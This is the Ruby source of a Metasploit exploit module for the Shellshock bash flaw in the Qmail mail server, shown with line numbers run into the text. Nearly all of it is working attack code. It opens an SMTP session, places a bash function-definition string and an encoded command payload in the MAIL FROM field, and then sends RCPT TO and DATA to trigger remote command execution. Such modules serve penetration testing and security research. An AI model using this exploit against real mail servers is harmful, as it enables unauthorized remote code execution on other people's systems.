Path: blob/master/modules/exploits/unix/smtp/qmail_bash_env_exec.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',15'Description' => %q{16This module exploits a shellshock vulnerability on Qmail, a public17domain MTA written in C that runs on Unix systems.18Due to the lack of validation on the MAIL FROM field, it is possible to19execute shell code on a system with a vulnerable BASH (Shellshock).20This flaw works on the latest Qmail versions (qmail-1.03 and21netqmail-1.06).22However, in order to execute code, /bin/sh has to be linked to bash23(usually default configuration) and a valid recipient must be set on the24RCPT TO field (usually [email protected]).25The exploit does not work on the "qmailrocks" community version26as it ensures the MAILFROM field is well-formed.27},28'Author' => [29'Mario Ledo (Metasploit module)',30'Gabriel Follon (Metasploit module)',31'Kyle George (Vulnerability discovery)'32],33'License' => MSF_LICENSE,34'Platform' => ['unix'],35'Arch' => ARCH_CMD,36'References' => [37['CVE', '2014-6271'],38['CWE', '94'],39['OSVDB', '112004'],40['EDB', '34765'],41['URL', 'https://seclists.org/oss-sec/2014/q3/649'],42['URL', 'https://lists.gt.net/qmail/users/138578']43],44'Payload' => {45'BadChars' => "\x3e",46'Space' => 888,47'DisableNops' => true,48'Compat' =>49{50'PayloadType' => 'cmd',51'RequiredCmd' => 'generic telnet perl ruby python'52# telnet ruby python and perl works only if installed on target53}54},55'Targets' => [ [ 'Automatic', {}] ],56'DefaultTarget' => 0,57'DisclosureDate' => '2014-09-24',58'Notes' => {59'Reliability' => UNKNOWN_RELIABILITY,60'Stability' => UNKNOWN_STABILITY,61'SideEffects' => UNKNOWN_SIDE_EFFECTS62}63)64)6566deregister_options('MAILFROM')67end6869def smtp_send(data = nil)70begin71result = ''72code = 073sock.put("#{data}")74result = sock.get_once75result.chomp! if (result)76code = result[0..2].to_i if result77return result, code78rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError79return result, 080rescue ::Exception => e81print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")82return nil, 083end84end8586def exploit87to = datastore['MAILTO']88connect89result = smtp_send("HELO localhost\r\n")90if result[1] < 200 || result[1] > 30091fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))92end93print_status('Sending the payload...')94result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")95if result[1] < 200 || result[1] > 30096fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))97end98print_status("Sending RCPT TO #{to}")99result = smtp_send("rcpt to:<#{to}>\r\n")100if result[1] < 200 || result[1] > 300101fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))102end103result = smtp_send("data\r\n")104if result[1] < 200 || result[1] > 354105fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))106end107result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")108if result[1] < 200 || result[1] > 300109fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))110end111disconnect112end113end114115116